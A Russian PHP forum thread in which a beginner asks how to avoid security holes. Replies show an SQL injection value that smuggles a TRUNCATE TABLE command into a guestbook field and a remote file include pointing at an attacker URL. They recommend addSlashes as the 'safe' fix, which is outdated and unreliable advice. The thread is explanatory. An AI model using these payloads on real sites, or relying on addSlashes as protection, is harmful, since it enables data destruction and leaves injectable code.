Что нужно знать для того, что бы уметь находить в PHP-коде дырки, устранять их и писать безопасные программы? Иными словами: Как сделать PHP-программу не уязвимой?
Заранее спасибо за ответ!
1. scar - 24 Июля, 2008 - 09:08:49 - перейти к сообщению
2. Furax - 24 Июля, 2008 - 09:42:55 - перейти к сообщению
Неуязвимых программ нет, есть труднорасколупываемые.
Во-первых, надо очень хорошо фильтровать входные данные. Всегда.
Во-вторых - читать про возможные дыры и проверять их наличие у себя.
В-третьих - не лениться на стадии отладки/проверки. Можно даже хакера знакомого попросить сломать...
Во-первых, надо очень хорошо фильтровать входные данные. Всегда.
Во-вторых - читать про возможные дыры и проверять их наличие у себя.
В-третьих - не лениться на стадии отладки/проверки. Можно даже хакера знакомого попросить сломать...
3. scar - 24 Июля, 2008 - 09:52:33 - перейти к сообщению
Furax пишет:
Во-первых, надо очень хорошо фильтровать входные данные. Всегда.
Если не тяжело, можешь предоставить пример?
Furax пишет:
Во-вторых - читать про возможные дыры и проверять их наличие у себя.
Где я могу узнать о возможных дырах?
4. Furax - 24 Июля, 2008 - 10:28:36 - перейти к сообщению
Пример.
В коде гостевой, сохраняющем сообщение в базу данных, написано:
Ещё пример. Написано:
И так далее.
Как правило, в учебниках по PHP предостерегают об ошибках; кроме того, есть специальные учебники по безопасности. Погугли - вроде по теме выдайт.
В коде гостевой, сохраняющем сообщение в базу данных, написано:
CODE:
Хакер вводит в поле 'name'mysql_query("INSERT INTO `gbook` (`name`, `mesage`) VALUES('$_POST[name]', '$_POST['message'])");
CODE:
В итоге в БД пошёл запрос, очищающий всю гостевую. Причина? Забыли слэши вставить.mike', 'hello'); TRUNCATE TABLE `gbook`; INSERT INTO `gbook` (`name`, `mesage`) VALUES('XaKeP
Ещё пример. Написано:
CODE:
Это подключает содержимое. Хакер передал в поле $_GET['topic'] строку "http://haker.ru/badpage". В итоге то, что доступно по адресу "http://haker.ru/badpage.php", выполнено на нашем сайте. Причина? Не проверили, что в этой переменной.include("$_GET[topic].php");
И так далее.
Как правило, в учебниках по PHP предостерегают об ошибках; кроме того, есть специальные учебники по безопасности. Погугли - вроде по теме выдайт.
5. Gosudar - 24 Июля, 2008 - 13:59:28 - перейти к сообщению
Цитата:
Где я могу узнать о возможных дырах?
Цитата:
Можно даже хакера знакомого попросить сломать...
есть софт специальный. для поиска потенциальных дыр.
К примеру программа XSpider. В гугле легко находится
6. scar - 25 Июля, 2008 - 03:13:03 - перейти к сообщению
Furax
Где в этом коде забыли поставить слэши?
CODE:
mysql_query("INSERT INTO `gbook` (`name`, `mesage`) VALUES('$_POST[name]', '$_POST['message'])");
Где в этом коде забыли поставить слэши?
7. scar - 25 Июля, 2008 - 03:18:04 - перейти к сообщению
Все, понял.
А что если не ставить в кавычки name:
Будет ли здесь дыра?
CODE:
... '$_POST['message'])");
А что если не ставить в кавычки name:
CODE:
$_POST[name];
Будет ли здесь дыра?
8. Furax - 25 Июля, 2008 - 07:51:16 - перейти к сообщению
Да, виноват, надо так:
CODE:
То есть так надо в том примере. А безопасный вариант -mysql_query("INSERT INTO `gbook` (`name`, `mesage`) VALUES('$_POST[name]', '$_POST[message]')");
CODE:
mysql_query("INSERT INTO `gbook` (`name`, `mesage`) VALUES('" . addSlashes($_POST['name']) . "', '" . addSlashes($_POST['message']) . "')");
9. Bard - 18 Декабря, 2009 - 03:17:21 - перейти к сообщению
Сам только начинаю изучать php, озаботился вот и его безопасностью.
Вчера грамотные люди пояснили, что если скрипт пишется не под конкретный серв, а предусматривает использование на разных (или просто если конкретный серв не вы админите), надо проверять включена ли функция magic_quotes_gpc, которая и так уже слешики ставит, если включена addSlashes делать не надо...
Если я правильно понял конечно...
Вчера грамотные люди пояснили, что если скрипт пишется не под конкретный серв, а предусматривает использование на разных (или просто если конкретный серв не вы админите), надо проверять включена ли функция magic_quotes_gpc, которая и так уже слешики ставит, если включена addSlashes делать не надо...
Если я правильно понял конечно...
10. Furax - 18 Декабря, 2009 - 07:40:55 - перейти к сообщению
По-моему, так.